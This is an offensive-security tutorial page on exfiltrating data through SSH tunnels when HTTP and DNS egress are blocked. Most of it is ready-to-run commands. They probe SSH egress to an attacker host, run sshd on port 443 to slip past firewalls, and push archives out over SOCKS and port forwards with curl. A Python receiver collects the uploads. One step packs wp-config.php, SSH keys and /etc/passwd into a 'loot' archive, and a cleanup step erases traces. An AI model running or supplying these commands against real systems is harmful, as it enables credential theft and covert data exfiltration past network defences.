Skip to content
HackIndex logo

HackIndex

SSH Tunneled Exfiltration

3 min read Mar 16, 2026

When direct HTTP, HTTPS, or DNS egress is blocked but outbound SSH is permitted, an SSH tunnel carries other protocols out of the network. The SSH connection acts as an encrypted wrapper. Your attacker machine receives the tunnelled traffic and forwards it normally. From the target's perspective, the only outbound connection is a standard SSH session.

Direct SCP, SFTP, and rsync transfers are covered in Data Exfiltration over SSH and SCP. This page covers routing non-SSH exfiltration through SSH when that is the only available egress path.

Confirm SSH Egress Is Open

Before setting up a tunnel, verify outbound SSH reaches your attacker machine:

┌──(kali㉿kali)-[~]
└─$ ssh -o ConnectTimeout=5 $USER@$LHOST exit 2>/dev/null && echo "SSH egress open"

If port 22 is blocked but 443 is open, run sshd on your attacker machine on port 443:

┌──(kali㉿kali)-[~]
└─$ sudo sshd -p 443

Then connect from the target on that port:

┌──(kali㉿kali)-[~]
└─$ ssh -p 443 $USER@$LHOST -N -D 127.0.0.1:1080

Route HTTP Exfiltration Through a SOCKS Proxy

Set up a dynamic forward from the target to your attacker machine:

┌──(kali㉿kali)-[~]
└─$ ssh -D 127.0.0.1:1080 $USER@$LHOST -N &

Use curl with the SOCKS proxy to push staged data to a receiving server:

┌──(kali㉿kali)-[~]
└─$ curl -s -x socks5://127.0.0.1:1080 -X POST http://$LHOST:8080/upload --data-binary @/dev/shm/.work/archive.tar.gz

Start a receiver on your attacker machine before triggering the transfer:

import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers['Content-Length'])
        open('received.tar.gz','wb').write(self.rfile.read(l))
        self.send_response(200); self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()

The data travels encrypted inside SSH to your attacker machine, then the SOCKS proxy forwards the HTTP POST to the receiver. The target's firewall sees only outbound SSH.

Route Exfiltration Through a Local Port Forward

Forward a specific port on the target directly to a listener on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ ssh -L 127.0.0.1:8080:127.0.0.1:8080 $USER@$LHOST -N &

Transfer directly to the forwarded port:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://127.0.0.1:8080/upload --data-binary @/dev/shm/.work/archive.tar.gz

This is simpler than SOCKS when you have a single known receiving endpoint.

Stage Before Tunnelling

Compress data before sending through the tunnel to reduce transfer time and volume:

┌──(kali㉿kali)-[~]
└─$ tar czf /dev/shm/.work/loot.tar.gz /var/www/html/wp-config.php ~/.ssh/ /etc/passwd

Check the size before committing to a tunnel transfer:

┌──(kali㉿kali)-[~]
└─$ du -sh /dev/shm/.work/loot.tar.gz

See Staging and Compressing Data for Exfiltration for full staging guidance.

Verify Transfer Integrity

Check that the file arrived intact:

┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ md5sum /dev/shm/.work/loot.tar.gz
 
┌──(kali㉿kali)-[~]
└─$ # On attacker machine after receiving
┌──(kali㉿kali)-[~]
└─$ md5sum received.tar.gz

Matching hashes confirm no corruption during the tunnelled transfer.

Clean Up

Remove the staging directory and kill the background SSH tunnel after the transfer completes:

┌──(kali㉿kali)-[~]
└─$ rm -rf /dev/shm/.work/
┌──(kali㉿kali)-[~]
└─$ kill %1

References